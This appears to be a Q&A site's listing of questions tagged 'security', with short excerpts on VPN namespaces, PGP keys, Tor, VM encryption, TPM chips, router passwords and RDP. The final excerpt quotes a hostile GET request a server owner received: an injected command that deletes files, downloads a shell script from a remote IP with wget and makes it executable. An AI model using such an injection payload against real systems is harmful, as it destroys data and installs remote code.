Questions tagged [security]
The protection of computer systems and information from threats such as theft or data destruction.
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Network Namespaces security issues
So I created a network namespace for running a vpn only for selected applications, let's call it "myvpn".
I understand I need root to set a different namespace, which by default will start ...
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In the Bitvise Client Software, Host Key Verification window shows public key information not generated by me
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After hitting the login button, Host Key Verification window shows up with host key info. (Not generated by me. Should this be happening by default.)
For Public Key Authentication, I ...
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Should one really disable AEAD for recent GnuPG created PGP keys?
Apparently, there are some problems with the new defaults that are set when one creates a PGP key using a recent version of GnuPG (2.4).
I ran into this after generating a new ECC/ED25519 key to ...
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I can't set security to None on my wifi
I have a TV which is broken in either software or something else, I can't enter keyboard input from the remote controller, yet I can STILL control it. Either way, past that, I need to connect to wifi ...
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Why do people discourage using Tor with a VPN?
Why do Tor experts discourage using Tor and a VPN at the same time? Is it because of the network fingerprint, latency, or that there is no point to it?
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Delete PK key from terminal when secure boot is disabled
When secure boot is disabled, is it possible to delete the PK key from terminal? I know that to change the keys, you need to enter setup mode. And to enter setup mode, you need to delete the PK key. ...
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How secure is VirtualBox's VM encryption?
I'm using VirtualBox 7 on Windows 11.
How secure is their disk image encryption?
Where is the encryption key stored?
If a third party gets access to the computer when the VM is turned off, what are ...
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More secure option than DDNS + port forwarding to host website
I wondered if there is a more secure solution for my setup. A small PC at home is hosting a website (on port 8080) while my router is forwarding outside requests from port 80 to internal port 8080 of ...
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How to get minimal vendor information about the TPM chip installed in my laptop
How do I get some minimal information about the TPM chip in my Linux laptop?
Information such as the manufacturer, manufacturer id, manufacturer version.
So far I have tried the tpm2_getcap command to ...
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Will my home router user/admin password be any protection against hackers?
I'm in Australia, I have "Fiber To The Home". This passes through the NBN box on the outside wall, to the NBN modem inside the wall, and thence to my mid-range ASUS AC1900 Dual Band router. ...
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Hiding public IP address while using free DynDns?
I currently have a multitude of servers running on my home network. These include a Minecraft server, a Git server, and a Teamspeak server (the last two are running on docker on a Raspberry Pi).
To ...
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Passkeys with Firefox - Touch your security key to continue
I am trying to log in to Github with Firefox. When I try to log in, the web page gives me an option to try with a passkey. When I do that, Firefox displays a dialog box saying "Touch your ...
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What's the difference between security.debian.org/debian-security and deb.debian.org/debian-security for Debian 12?
Continuing http://unix.stackexchange.com/questions/541569 (which refers to the outdated Debian 10 and is unspecific/unclear in other ways, and the only answer to which is around 4 years old and at ...
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Limit RDP use with certificate
I need help with RDP in home environment.
I need to access my home computer from my class with RDP and I only want to allow access to remote machines that have a certificate issued by me (yes, I ...
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Strange GET request to my server: Should I be concerned?
I'm very new to hosting and I get a get request like this:
GET /goform/webRead/open/?path=|rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F(ip adress)%2Fbruh.sh%3B%20chmod%20777%20bruh.sh%3B%...
